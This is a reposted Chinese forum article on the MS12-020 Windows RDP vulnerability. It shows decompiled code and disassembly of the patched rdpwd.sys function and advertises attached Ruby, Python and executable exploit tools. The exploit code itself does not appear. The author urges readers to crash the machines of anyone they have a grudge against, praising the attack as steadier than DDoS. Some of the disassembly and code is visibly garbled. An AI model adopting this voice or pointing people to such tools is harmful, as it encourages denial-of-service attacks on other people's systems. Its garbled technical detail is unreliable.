MS12-020 漏洞利用程序

来源:互联网 发布:三星官网刷机软件 编辑:程序博客网 时间:2024/05/20 07:36

根据大家的测试,多数为直接蓝屏。
根据Silic Group的调查,蓝屏的出现基本可以确定是因为MS11-065补丁的原因。本文的PoC是根据2011年8月出现的MS11-065补丁以后的rdpwd.sys文件结构而写
微软通过MS11-065修改了rdpwd.sys文件并更新了版本,所以导致没打过MS11-065的机器就出现了蓝屏等症状。
通过本论坛交流群内成员的各种测试结果,发送580 byte数据包的基本可以成功,内网或者同C段则成功率比较高,其他情况则蓝屏现象严重
另外请不要质疑测试脚本与ms12-020漏洞的真实性,蓝屏则表示漏洞存在,只是shellcode在内存覆盖的位置有问题。
如果不爽,跟谁有仇就干谁,重启就蓝重启就蓝重启就蓝,补丁都打不上,这东西比DDoS稳定


本文末尾将付上MS12-020真正的PoC,编写语言为ruby和python两个版本的,还有一个exe程序,均不需要什么freerdp包之类的东西。
Sabu写的那个不是MS12-020的shellcode,而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子,其他的地方还真没流传出来。
新闻把这个炒作起来,完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。

PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的,因为既然有漏洞的文件知道了,就会有人根据分析有漏洞的文件写出shellcode,不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。
其实之前我这里在14号当天就拿到了一个nasl的测试脚本,nasl版本的PoC真的要执行指定命令并不太容易,多数都拒绝服务了,不过测试中580byte的shellcode是成功率最高的。
也就是说,网上流传的截图也好,视频也好,有sent从一百两百到上万byte的PoC程序截图,这些截图明显就是假的了
OK,步入正文
//blackbap.org
MS12-020于前天被爆存在高危远程代码执行漏洞,可以通过向远程桌面端口发送特定的RDP包获得管理员权限,存在漏洞的文件是rdpwd.sys,出现漏洞的原因,恐怕现在网上已经泛滥的一塌糊涂了,那就是HandleAttachUserReq()函数。
其实早在2011年8月的时候,微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞,漏洞代号是MS11-065。

首先,第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同:
更新前的代码:

  1. char __thiscall HandleAttachUserReq(int this, int a2, int a3)
  2. {
  3. int v3; // esi@1
  4. int v4; // eax@3
  5. int v6; // [sp-8h] [bp-18h]@3
  6. char v7; // [sp+4h] [bp-Ch]@3
  7. int v8; // [sp+8h] [bp-8h]@3
  8. int v9; // [sp+Ch] [bp-4h]@2
  9. v3 = this;
  10. *(_DWORD *)a3 = 1;
  11. if ( *(_BYTE *)(this + 16) & 0×20 )
  12. {
  13. while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
  14. ;
  15. v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
  16. v6 = *(_DWORD *)(v9 + 16);
  17. if ( v4 )
  18. {
  19. CreateAttachUserCon(14, 0, 0, v6);
  20. *(_DWORD *)(v9 + 20) = 9;
  21. }
  22. else
  23. {
  24. CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
  25. *(_DWORD *)(v9 + 20) = 11;
  26. *(_BYTE *)(v8 + 4) = 0;
  27. }
  28. if ( SendOutBuf(v3, v9) < 0 )
  29. SListRemove(v3 + 112, v8, &v8);
  30. }
  31. return 1;
  32. }

复制代码

更新后的代码:

  1. char __thiscall HandleAttachUserReq(int this, int a2, int a3)
  2. {
  3. int v3; // esi@1
  4. int v4; // eax@3
  5. int v6; // [sp-8h] [bp-18h]@3
  6. char v7; // [sp+4h] [bp-Ch]@3
  7. int v8; // [sp+8h] [bp-8h]@3
  8. int v9; // [sp+Ch] [bp-4h]@2
  9. v3 = this;
  10. *(_DWORD *)a3 = 1;
  11. if ( *(_BYTE *)(this + 16) & 0×20 )
  12. {
  13. while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
  14. ;
  15. v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
  16. v6 = *(_DWORD *)(v9 + 16);
  17. if ( v4 )
  18. {
  19. CreateAttachUserCon(14, 0, 0, v6);
  20. *(_DWORD *)(v9 + 20) = 9;
  21. }
  22. else
  23. {
  24. CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
  25. *(_DWORD *)(v9 + 20) = 11;
  26. *(_BYTE *)(v8 + 4) = 0;
  27. }
  28. if ( SendOutBuf(v3, v9) < 0 )
  29. {
  30. SListRemove(v3 + 112, v8, &v8);
  31. //注意下面的if语句,这是更新后的代码 blackbap.org
  32. if ( p )
  33. {
  34. if ( !*((_BYE *)P + 5) )
  35. ExFreePoolWithTag(P, 0);
  36. }
  37. }
  38. }
  39. return 1;
  40. }

复制代码

是的,代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用
原:

  1. 0002CB30 @HandleAttachUserReq@16
  2. 0002CBB8 push ss:[ebp+var_4]
  3. 0002CBBB push esi
  4. 0002CBBC call _SendOutBuf@8
  5. 0002CBC1 test eax, eax
  6. 0002CBC3 pop ebx
  7. 0002CBC4 jge loc_2CBD6
  8. 0002CBC6 lea eax, ss:[ebp+var_8]
  9. 0002CBC9 push eax
  10. 0002CBCA push ss:[ebp+var_8]
  11. 0002CBCD add esi, 0×70
  12. 0002CBD0 push esi
  13. 0002CBD1 call _SListRemove@12
  14. 0002CBD6 mov b1 a1, b1 1
  15. 0002CBD8 pop esi
  16. 0002CBD9 leave
  17. 0002CBDA retn b2 8

复制代码

这是后面加过检查和释放函数的:

  1. 0002CB44 @HandleAttachUserReq@16
  2. 0002CBCC push ss:[ebp+var_4]
  3. 0002CBCF push esi
  4. 0002CBD0 call _SendOutBuf@8
  5. 0002CBD5 test eax, eax
  6. 0002CBD7 jge loc_2CBD6
  7. 0002CBD9 lea eax, ss:[ebp+var_P]
  8. 0002CBDC push eax
  9. 0002CBDD push ss:[ebp+var_P]
  10. 0002CBE0 add esi, 0×70
  11. 0002CBE3 push esi
  12. 0002CBE4 call _SListRemove@12 //SListRemove(x,x,x)
  13. 0002CBE9 mov eax, ss:[ebp+P]
  14. 0002CBEC cmp eax, ebx
  15. 0002CBEE jz loc_2CBFD
  16. 0002CBF0 cmp b1 ds:[eax+5],b1 b1
  17. 0002CBF3 jnz loc_2CBFD
  18. 0002CBF5 push ebx //Tag
  19. 0002CBF6 push ebx //P
  20. 0002CBF7 call ds:[__imp__ExFreePoolWithTag@8] //__imp__ExFreePoolWithTag@8,ExFreePoolWithTag(x,x)
  21. //CODE XREF: HandleAttachUserReq(x,x,x,x)+19j
  22. //HandleAttachUserReq(x,x,x,x)+94j …
  23. 0002CBFD pop esi
  24. 0002CBFE mov b1 a1, b1 1
  25. 0002CC00 pop ebx
  26. 0002CC01 leave
  27. 0002CC02 retn b2 8

复制代码

通过检查,上述函数似乎只解决了内存泄露问题,并没有解决内存不释放的问题??
还有一个函数也是疑似检查用户数据的,疑似是边界的检查

  1. 0001978A call _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x)
  2. 0001978F test eax, eax
  3. 00019791 jz short loc_1973D
  4. 00019793 push 0
  5. 00019795 push esi
  6. 00019796 push [ebp+arg_4]
  7. 00019799 push [ebp+var_4]
  8. 0001979C push [ebp+var_8]
  9. 0001979F push [ebp+var_C]
  10. 000197A2 push [ebp+arg_0]
  11. 000197A5 call _WDWConnect@28 //WDWConnect(x,x,x,x,x,x,x)

复制代码

上面这个函数我并没有做什么太大的分析,因为漏洞已经产生了,其实大家更想知道的,并不是这个漏洞如何产生的,而是这个漏洞怎么利用。

既然ruby的数据包上已经声明了,这个脚本是基于“Chinese Shit”的脚本所写,并且修正了“Chinese Shit”上面的不完全符合协议的数据包
那么我们再来看一下“Chinese Shit”的PoC又是什么样子的,Python语言:

  1. #ms12-020 “chinese shit” PoC v2 (wireshark版)
  2. # 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用

据测试,上面版本的Chinese Shit仍然有很多bug,附件中新增了time.sleep修正bug版本的py脚本
如果你比较懒,可以直接下载以上PoC的压缩包,如果你比较勤快,可以点击以上代码的“复制代码”,并保存于记事本并重命名为xx.rb和xx.py并自己修正bug

附件说明:
*
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC
*
* Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版
* 西班牙语XP SP3和Win7/R2都成功
*
* Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本
* 添加了time.sleep
*
* rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具
* rdp IP -v如果对方机器重启表示漏洞存在,且可利用。
*
* Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的Sabu@fbi.gov的娱乐版PoC
